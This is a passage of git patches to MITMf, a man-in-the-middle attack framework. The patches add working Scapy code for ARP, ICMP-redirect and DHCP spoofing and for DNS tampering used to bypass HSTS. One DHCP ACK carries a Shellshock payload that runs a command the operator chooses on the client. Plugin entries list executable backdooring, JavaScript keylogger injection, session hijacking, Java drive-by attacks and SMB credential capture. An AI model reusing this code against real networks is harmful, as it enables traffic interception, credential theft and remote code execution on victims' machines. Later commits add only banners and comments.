%s" % domain) - answer = dns.resolver.query(domain, 'A') - real_ips = [] - for rdata in answer: - real_ips.append(rdata.address) + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip - if len(real_ips) > 0: - return real_ips + if resp[DHCP].options[0][1] is 1: + logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + logging.info("Sending DHCP OFFER") + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) - except Exception: - logging.debug("Error resolving " + domain) + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass - def nfqueue_callback(self, payload, *kargs): - data = payload.get_data() - pkt = IP(data) - if not pkt.haslayer(DNSQR): - payload.set_verdict(nfqueue.NF_ACCEPT) - else: - #logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) - if self.dns: - for k, v in self.dnscfg.items(): - if k in pkt[DNSQR].qname: - self.modify_dns(payload, pkt, v) + sendp(packet, iface=self.interface, verbose=self.debug) - elif self.hsts: - if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): - for k,v in self.hstscfg.items(): - if v == pkt[DNSQR].qname[:-1]: - ip = self.resolve_domain(k) - if ip: - self.modify_dns(payload, pkt, ip) + if resp[DHCP].options[0][1] is 3: + logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) - if 'wwww' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + try: + packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) + except KeyError: + pass - if 'web' in pkt[DNSQR].qname: - ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) - if ip: - self.modify_dns(payload, pkt, ip) + if self.shellshock: + logging.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + logging.info("Sending DHCP ACK") + packet[DHCP].options.append("end") - def modify_dns(self, payload, pkt, ip): - spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ - UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ - DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + sendp(packet, iface=self.interface, verbose=self.debug) - if self.hsts: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field - for i in ip: - spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) - logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) +class _ICMP(): - if self.dns: - spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) - logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + def __init__(self, interface, target, gateway, ip_address): - payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + self.target = target + self.gateway = gateway + self.interface = interface + self.ip_address = ip_address + self.debug = False + self.send = True + self.icmp_interval = 2 - def start_dns_queue(self): - self.q = nfqueue.queue() - self.q.set_callback(self.nfqueue_callback) - self.q.fast_open(0, socket.AF_INET) - self.q.set_queue_maxlen(5000) - reactor.addReader(self) - self.q.set_mode(nfqueue.NFQNL_COPY_PACKET) + def build_icmp(self): + pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\ + IP(src=self.target, dst=self.gateway)/UDP() - def fileno(self): - return self.q.get_fd() + return pkt - def doRead(self): - self.q.process_pending(100) + def start(self): + pkt = self.build_icmp() - def connectionLost(self, reason): - reactor.removeReader(self) + t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() - def logPrefix(self): - return 'queue' + def stop(self): + self.send = False - def add_options(self, options): - group = options.add_mutually_exclusive_group(required=False) - group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing') - group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects') - group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers') - options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries') - options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') - options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') - options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]') - options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]') - options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically') - #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning') + def send_icmps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug) - def finish(self): - self.send = False - sleep(3) - file = open('/proc/sys/net/ipv4/ip_forward', 'w') - file.write('0') - file.close() - if not self.manualiptables: - print '\n[*] Flushing iptables' - os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X') +class _ARP(): - if (self.dns or self.hsts): - try: - self.q.unbind(socket.AF_INET) - self.q.close() - except: - pass + def __init__(self, gateway, interface, mac): - if self.arp: - print '[*] Re-arping network' - pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2) - sendp(pkt, inter=1, count=5, iface=self.interface) + self.gateway = gateway + self.gatewaymac = getmacbyip(gateway) + self.mac = mac + self.target = None + self.targetmac = None + self.interface = interface + self.arpmode = 'req' + self.debug = False + self.send = True + self.arp_inter = 2 + + def start(self): + if self.gatewaymac is None: + sys.exit("[-] Error: Could not resolve gateway's MAC address") + + if self.target: + self.targetmac = getmacbyip(self.target) + if self.targetmac is None: + sys.exit("[-] Error: Could not resolve target's MAC address") + + if self.arpmode is 'req': + pkt = self.build_arp_req() + + elif self.arpmode is 'rep': + pkt = self.build_arp_rep() + + t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,)) + t.setDaemon(True) + t.start() + + def send_arps(self, pkt, interface, debug): + while self.send: + sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug) + + def stop(self): + self.send = False + + def build_arp_req(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target) + + return pkt + + def build_arp_rep(self): + if self.target is None: + pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2) + elif self.target: + pkt = Ether(src=self.mac, dst=self.targetmac)/\ + ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2) + + return pkt + + def reArp_net(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + + def reArp_target(self, count): + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ + ARP(psrc=self.target, hwsrc=self.targetmac, op=2) + + sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) + +class _DNS(): + + def __init__(self, hstscfg, dnscfg): + self.hsts = False + self.dns = True + self.dnscfg = hstscfg + self.hstscfg = dnscfg + self.nfqueue = NetfilterQueue() + + def start(self): + t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=()) + t.setDaemon(True) + t.start() + + def nfqueue_bind(self): + self.nfqueue.bind(1, self.nfqueue_callback, 5000, 3) + self.nfqueue.run() + + def stop(self): + try: + self.nfqueue.unbind() + except: + pass + + def resolve_domain(self, domain): + try: + logging.debug("Resolving -> %s" % domain) + answer = dns.resolver.query(domain, 'A') + real_ips = [] + for rdata in answer: + real_ips.append(rdata.address) + + if len(real_ips) > 0: + return real_ips + + except Exception: + logging.info("Error resolving " + domain) + + def nfqueue_callback(self, payload): + if payload: + print "got packet!" + data = payload.get_payload() + pkt = IP(data) + if not pkt.haslayer(DNSQR): + payload.accept() + else: + logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + if self.dns: + for k, v in self.dnscfg.items(): + if k in pkt[DNSQR].qname: + self.modify_dns(payload, pkt, v) + + elif self.hsts: + if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1): + for k,v in self.hstscfg.items(): + if v == pkt[DNSQR].qname[:-1]: + ip = self.resolve_domain(k) + if ip: + self.modify_dns(payload, pkt, ip) + + if 'wwww' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[1:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + + if 'web' in pkt[DNSQR].qname: + ip = self.resolve_domain(pkt[DNSQR].qname[3:-1]) + if ip: + self.modify_dns(payload, pkt, ip) + + def modify_dns(self, payload, pkt, ip): + spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\ + UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\ + DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd) + + if self.hsts: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field + for i in ip: + spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) + logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + + if self.dns: + spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) + logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) + payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index d7b1e2d..e1b808b 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -8,8 +8,9 @@ class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" desc = 'Flips images 180 degrees' - has_opts = False implements = ["handleResponse", "handleHeader"] + has_opts = False + req_root = False def initialize(self, options): from PIL import Image, ImageFile @@ -17,8 +18,6 @@ class Upsidedownternet(Plugin): globals()['ImageFile'] = ImageFile self.options = options - print "[*] Upsidedownternet plugin online" - def handleHeader(self, request, key, value): '''Kill the image skipping that's in place for speed reasons''' if request.isImageRequest: From 4c465b38069943c41d39df8fd796a672472e8f15 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 03:37:07 +0100 Subject: [PATCH 092/323] nfqueue with NetfilterQueue 0.6 now working! \o/ --- plugins/Spoof.py | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 21ec242..b1d63e6 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -2,14 +2,10 @@ # DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof # -#from twisted.internet import reactor -#from twisted.internet.interfaces import IReadDescriptor from plugins.plugin import Plugin from time import sleep import dns.resolver -#import socket from netfilterqueue import NetfilterQueue -#import nfqueue import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy from scapy.all import * @@ -381,7 +377,7 @@ class _DNS(): t.start() def nfqueue_bind(self): - self.nfqueue.bind(1, self.nfqueue_callback, 5000, 3) + self.nfqueue.bind(1, self.nfqueue_callback, 3) self.nfqueue.run() def stop(self): @@ -405,14 +401,11 @@ class _DNS(): logging.info("Error resolving " + domain) def nfqueue_callback(self, payload): - if payload: - print "got packet!" - data = payload.get_payload() - pkt = IP(data) + pkt = IP(payload.get_payload()) if not pkt.haslayer(DNSQR): payload.accept() else: - logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) if self.dns: for k, v in self.dnscfg.items(): if k in pkt[DNSQR].qname: @@ -446,9 +439,11 @@ class _DNS(): for i in ip: spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i)) logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + payload.set_payload(str(spoofed_pkt)) + payload.accept() if self.dns: spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip) logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1])) - payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt)) + payload.set_payload(str(spoofed_pkt)) + payload.accept() \ No newline at end of file From ad6c3d8ed3404d768f7bd73f13decbbbe2760b2b Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 04:01:28 +0100 Subject: [PATCH 093/323] added version attr to all plugins --- plugins/AppCachePoison.py | 1 + plugins/BeefAutorun.py | 1 + plugins/BrowserProfiler.py | 1 + plugins/CacheKill.py | 1 + plugins/FilePwn.py | 11 ++++++----- plugins/Inject.py | 1 + plugins/JavaPwn.py | 1 + plugins/JsKeylogger.py | 1 + plugins/Replace.py | 1 + plugins/Responder.py | 1 + plugins/SMBAuth.py | 1 + plugins/SSLstrip+.py | 1 + plugins/SessionHijacker.py | 11 ++++++----- plugins/Sniffer.py | 1 + plugins/Spoof.py | 11 ++++++----- plugins/Upsidedownternet.py | 11 ++++++----- 16 files changed, 36 insertions(+), 20 deletions(-) diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py index f7d6b54..6ec5077 100644 --- a/plugins/AppCachePoison.py +++ b/plugins/AppCachePoison.py @@ -14,6 +14,7 @@ class AppCachePlugin(Plugin): optname = "appoison" desc = "Performs App Cache Poisoning attacks" implements = ["handleResponse"] + version = "0.3" has_opts = False req_root = False diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index 713fc2a..2c25592 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -15,6 +15,7 @@ class BeefAutorun(Inject, Plugin): optname = "beefauto" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" depends = ["Inject"] + version = "0.3" req_root = False has_opts = False diff --git a/plugins/BrowserProfiler.py b/plugins/BrowserProfiler.py index 29c8644..5372353 100644 --- a/plugins/BrowserProfiler.py +++ b/plugins/BrowserProfiler.py @@ -9,6 +9,7 @@ class BrowserProfiler(Inject, Plugin): desc = "Attempts to enumerate all browser plugins of connected clients" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] depends = ["Inject"] + version = "0.2" has_opts = False req_root = False diff --git a/plugins/CacheKill.py b/plugins/CacheKill.py index cc72a77..6824ee5 100644 --- a/plugins/CacheKill.py +++ b/plugins/CacheKill.py @@ -7,6 +7,7 @@ class CacheKill(Plugin): desc = "Kills page caching by modifying headers" implements = ["handleHeader", "connectionMade"] bad_headers = ['if-none-match', 'if-modified-since'] + version = "0.1" has_opts = True req_root = False diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 88d2fbc..630a314 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -53,12 +53,13 @@ from tempfile import mkstemp from configobj import ConfigObj class FilePwn(Plugin): - name = "FilePwn" - optname = "filepwn" - desc = "Backdoor executables being sent over http using bdfactory" + name = "FilePwn" + optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" implements = ["handleResponse"] - has_opts = False - req_root = False + version = "0.2" + has_opts = False + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/Inject.py b/plugins/Inject.py index ec5523e..23deaa2 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -15,6 +15,7 @@ class Inject(CacheKill, Plugin): has_opts = True req_root = False desc = "Inject arbitrary content into HTML content" + version = "0.2" depends = ["CacheKill"] def initialize(self, options): diff --git a/plugins/JavaPwn.py b/plugins/JavaPwn.py index 9d55bbe..cf1f88c 100644 --- a/plugins/JavaPwn.py +++ b/plugins/JavaPwn.py @@ -19,6 +19,7 @@ class JavaPwn(BrowserProfiler, Plugin): optname = "javapwn" desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" depends = ["Browserprofiler"] + version = "0.3" has_opts = False def initialize(self, options): diff --git a/plugins/JsKeylogger.py b/plugins/JsKeylogger.py index 17ddde0..556a754 100644 --- a/plugins/JsKeylogger.py +++ b/plugins/JsKeylogger.py @@ -8,6 +8,7 @@ class jskeylogger(Inject, Plugin): desc = "Injects a javascript keylogger into clients webpages" implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"] depends = ["Inject"] + version = "0.2" has_opts = False req_root = False diff --git a/plugins/Replace.py b/plugins/Replace.py index b217127..a55e2db 100644 --- a/plugins/Replace.py +++ b/plugins/Replace.py @@ -16,6 +16,7 @@ class Replace(CacheKill, Plugin): desc = "Replace arbitrary content in HTML content" implements = ["handleResponse", "handleHeader", "connectionMade"] depends = ["CacheKill"] + version = "0.1" has_opts = True req_root = False diff --git a/plugins/Responder.py b/plugins/Responder.py index f128b67..8156dc9 100644 --- a/plugins/Responder.py +++ b/plugins/Responder.py @@ -10,6 +10,7 @@ class Responder(Plugin): name = "Responder" optname = "responder" desc = "Poison LLMNR, NBT-NS and MDNS requests" + version = "0.2" has_opts = True req_root = True diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 9835101..0e7a2d3 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -8,6 +8,7 @@ class SMBAuth(Inject, Plugin): optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" depends = ["Inject"] + version = "0.1" has_opts = True req_root = False diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index a13825b..e96adda 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -6,6 +6,7 @@ class HSTSbypass(Plugin): name = 'SSLstrip+' optname = 'hsts' desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.2" has_opts = False req_root = False diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py index 9ebbca3..8431e80 100644 --- a/plugins/SessionHijacker.py +++ b/plugins/SessionHijacker.py @@ -13,12 +13,13 @@ import json import socket class SessionHijacker(Plugin): - name = "Session Hijacker" - optname = "hijack" - desc = "Performs session hijacking attacks against clients" + name = "Session Hijacker" + optname = "hijack" + desc = "Performs session hijacking attacks against clients" implements = ["cleanHeaders"] #["handleHeader"] - has_opts = True - req_root = False + version = "0.1" + has_opts = True + req_root = False def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py index ef7be89..d70b4ed 100644 --- a/plugins/Sniffer.py +++ b/plugins/Sniffer.py @@ -20,6 +20,7 @@ class Sniffer(Plugin): optname = "sniffer" desc = "Sniffs for various protocol login and auth attempts" implements = ["sendRequest"] + version = "0.1" has_opts = False req_root = True diff --git a/plugins/Spoof.py b/plugins/Spoof.py index b1d63e6..2707b62 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -21,6 +21,7 @@ class Spoof(Plugin): name = "Spoof" optname = "spoof" desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP' + version = "0.4" has_opts = True req_root = True @@ -124,10 +125,10 @@ class Spoof(Plugin): self.arp.arp_inter = 1 if self.target: print "\n[*] Re-ARPing target" - self.arp.reArp_target(5) + self.arp.reARP_target(5) print "\n[*] Re-ARPing network" - self.arp.reArp_net(5) + self.arp.reARP_net(5) elif self.options.icmp: self.icmp.stop() @@ -350,13 +351,13 @@ class _ARP(): return pkt - def reArp_net(self, count): + def reARP_net(self, count): pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2) sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface) - def reArp_target(self, count): + def reARP_target(self, count): pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\ ARP(psrc=self.target, hwsrc=self.targetmac, op=2) @@ -405,7 +406,7 @@ class _DNS(): if not pkt.haslayer(DNSQR): payload.accept() else: - logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) + logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype)) if self.dns: for k, v in self.dnscfg.items(): if k in pkt[DNSQR].qname: diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index e1b808b..150905a 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -5,12 +5,13 @@ from PIL import Image class Upsidedownternet(Plugin): - name = "Upsidedownternet" - optname = "upsidedownternet" - desc = 'Flips images 180 degrees' + name = "Upsidedownternet" + optname = "upsidedownternet" + desc = 'Flips images 180 degrees' implements = ["handleResponse", "handleHeader"] - has_opts = False - req_root = False + version = "0.1" + has_opts = False + req_root = False def initialize(self, options): from PIL import Image, ImageFile From fcdbe49df99920acf5fc00b7122c1d54439ea64f Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Tue, 10 Mar 2015 19:17:10 +0100 Subject: [PATCH 094/323] added banners and tree visual of loaded plugins --- libs/banners.py | 79 +++++++++++++++++++++++++++++++ libs/sslstrip/ClientRequest.py | 4 ++ libs/sslstrip/ServerConnection.py | 4 ++ libs/sslstrip/URLMonitor.py | 7 +++ mitmf.py | 15 ++++-- plugins/Spoof.py | 2 +- requirements.txt | 1 + 7 files changed, 107 insertions(+), 5 deletions(-) create mode 100644 libs/banners.py diff --git a/libs/banners.py b/libs/banners.py new file mode 100644 index 0000000..67b718a --- /dev/null +++ b/libs/banners.py @@ -0,0 +1,79 @@ +#! /usr/bin/env python2.7 +# -*- coding: utf-8 -*- + +import random + +banner1 = """ + __ __ ___ .--. __ __ ___ +| |/ `.' `. |__| | |/ `.' `. _.._ +| .-. .-. '.--. .| | .-. .-. ' .' .._| +| | | | | || | .' |_ | | | | | | | ' +| | | | | || | .' || | | | | | __| |__ +| | | | | || |'--. .-'| | | | | ||__ __| +| | | | | || | | | | | | | | | | | +|__| |__| |__||__| | | |__| |__| |__| | | + | '.' | | + | / | | + `'-' |_| +""" + +banner2= """ + ███▄ ▄███▓ ██▓▄▄▄█████▓ ███▄ ▄███▓ █████▒ +▓██▒▀█▀ ██▒▓██▒▓ ██▒ ▓▒▓██▒▀█▀ ██▒▓██ ▒ +▓██ ▓██░▒██▒▒ ▓██░ ▒░▓██ ▓██░▒████ ░ +▒██ ▒██ ░██░░ ▓██▓ ░ ▒██ ▒██ ░▓█▒ ░ +▒██▒ ░██▒░██░ ▒██▒ ░ ▒██▒ ░██▒░▒█░ +░ ▒░ ░ ░░▓ ▒ ░░ ░ ▒░ ░ ░ ▒ ░ +░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ +░ ░ ▒ ░ ░ ░ ░ ░ ░ + ░ ░ ░ +""" + +banner3 = """ + ▄▄▄▄███▄▄▄▄ ▄█ ███ ▄▄▄▄███▄▄▄▄ ▄████████ + ▄██▀▀▀███▀▀▀██▄ ███ ▀█████████▄ ▄██▀▀▀███▀▀▀██▄ ███ ███ + ███ ███ ███ ███▌ ▀███▀▀██ ███ ███ ███ ███ █▀ + ███ ███ ███ ███▌ ███ ▀ ███ ███ ███ ▄███▄▄▄ + ███ ███ ███ ███▌ ███ ███ ███ ███ ▀▀███▀▀▀ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ███ ███ ███ ███ ███ ███ ███ ███ ███ + ▀█ ███ █▀ █▀ ▄████▀ ▀█ ███ █▀ ███ +""" + +banner4 = """ +MMMMMMMM MMMMMMMMIIIIIIIIIITTTTTTTTTTTTTTTTTTTTTTTMMMMMMMM MMMMMMMM ffffffffffffffff +M:::::::M M:::::::MI::::::::IT:::::::::::::::::::::TM:::::::M M:::::::M f::::::::::::::::f +M::::::::M M::::::::MI::::::::IT:::::::::::::::::::::TM::::::::M M::::::::M f::::::::::::::::::f +M:::::::::M M:::::::::MII::::::IIT:::::TT:::::::TT:::::TM:::::::::M M:::::::::M f::::::fffffff:::::f +M::::::::::M M::::::::::M I::::I TTTTTT T:::::T TTTTTTM::::::::::M M::::::::::M f:::::f ffffff +M:::::::::::M M:::::::::::M I::::I T:::::T M:::::::::::M M:::::::::::M f:::::f +M:::::::M::::M M::::M:::::::M I::::I T:::::T M:::::::M::::M M::::M:::::::Mf:::::::ffffff +M::::::M M::::M M::::M M::::::M I::::I T:::::T M::::::M M::::M M::::M M::::::Mf::::::::::::f +M::::::M M::::M::::M M::::::M I::::I T:::::T M::::::M M::::M::::M M::::::Mf::::::::::::f +M::::::M M:::::::M M::::::M I::::I T:::::T M::::::M M:::::::M M::::::Mf:::::::ffffff +M::::::M M:::::M M::::::M I::::I T:::::T M::::::M M:::::M M::::::M f:::::f +M::::::M MMMMM M::::::M I::::I T:::::T M::::::M MMMMM M::::::M f:::::f +M::::::M M::::::MII::::::II TT:::::::TT M::::::M M::::::Mf:::::::f +M::::::M M::::::MI::::::::I T:::::::::T M::::::M M::::::Mf:::::::f +M::::::M M::::::MI::::::::I T:::::::::T M::::::M M::::::Mf:::::::f +MMMMMMMM MMMMMMMMIIIIIIIIII TTTTTTTTTTT MMMMMMMM MMMMMMMMfffffffff +""" + +banner5 = """ + ___ ___ ___ + /\ \ /\ \ /\__\ + |::\ \ ___ ___ |::\ \ /:/ _/_ + |:|:\ \ /\__\ /\__\ |:|:\ \ /:/ /\__\ + __|:|\:\ \ /:/__/ /:/ / __|:|\:\ \ /:/ /:/ / + /::::|_\:\__\ /::\ \ /:/__/ /::::|_\:\__\ /:/_/:/ / + \:\~~\ \/__/ \/\:\ \__ /::\ \ \:\~~\ \/__/ \:\/:/ / + \:\ \ ~~\:\/\__\ /:/\:\ \ \:\ \ \::/__/ + \:\ \ \::/ / \/__\:\ \ \:\ \ \:\ \ + \:\__\ /:/ / \:\__\ \:\__\ \:\__\ + \/__/ \/__/ \/__/ \/__/ \/__/ + +""" + +def get(): + banners = [banner1, banner2, banner3, banner4, banner5] + return random.choice(banners) diff --git a/libs/sslstrip/ClientRequest.py b/libs/sslstrip/ClientRequest.py index 73f38fd..a163070 100644 --- a/libs/sslstrip/ClientRequest.py +++ b/libs/sslstrip/ClientRequest.py @@ -125,6 +125,10 @@ class ClientRequest(Request): if self.hsts: + #Original code from SSLstrip+ + #Saying that this is unreadible is an understatement + #KILL IT WITH FIRE!! + real = self.urlMonitor.real patchDict = self.urlMonitor.patchDict diff --git a/libs/sslstrip/ServerConnection.py b/libs/sslstrip/ServerConnection.py index b2669aa..0540511 100644 --- a/libs/sslstrip/ServerConnection.py +++ b/libs/sslstrip/ServerConnection.py @@ -185,6 +185,10 @@ class ServerConnection(HTTPClient): def replaceSecureLinks(self, data): if self.hsts: + #Original code from SSLstrip+ + #Saying that this is unreadible is an understatement + #KILL IT WITH FIRE!! + sustitucion = {} patchDict = self.urlMonitor.patchDict if len(patchDict)>0: diff --git a/libs/sslstrip/URLMonitor.py b/libs/sslstrip/URLMonitor.py index 794be83..b327a85 100644 --- a/libs/sslstrip/URLMonitor.py +++ b/libs/sslstrip/URLMonitor.py @@ -53,6 +53,13 @@ class URLMonitor: return (client,url) in self.strippedURLs def writeClientLog(self, client, headers, message): + ''' + This isn't used for now.. the point was to log every clients + data to a seperate file + + Don't see how useful it could be though + ''' + if not 